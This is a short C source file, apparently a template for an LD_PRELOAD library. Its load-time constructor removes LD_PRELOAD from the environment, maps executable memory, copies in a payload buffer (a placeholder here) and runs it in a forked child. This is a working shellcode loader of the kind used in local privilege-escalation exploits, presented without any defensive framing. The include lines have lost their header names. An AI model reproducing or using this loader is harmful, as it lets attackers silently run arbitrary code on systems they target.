#include #include #include #include #include #include #include #ifdef OLD_LIB_SET_1 __asm__(".symver mmap,mmap@GLIBC_2.0"); __asm__(".symver memcpy,memcpy@GLIBC_2.0"); __asm__(".symver fork,fork@GLIBC_2.0"); #endif #ifdef OLD_LIB_SET_2 __asm__(".symver mmap,mmap@GLIBC_2.2.5"); __asm__(".symver memcpy,memcpy@GLIBC_2.2.5"); __asm__(".symver fork,fork@GLIBC_2.2.5"); #endif #define PAYLOAD_SIZE 5000 unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0}; static void _run_payload_(void) __attribute__((constructor)); static void _run_payload_(void) { void *mem; void (*fn)(); unsetenv("LD_PRELOAD"); mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); if (mem == MAP_FAILED) return; memcpy(mem, payload, PAYLOAD_SIZE); fn = (void(*)())mem; if (! fork()) { fn(); kill(getpid(), 9); } }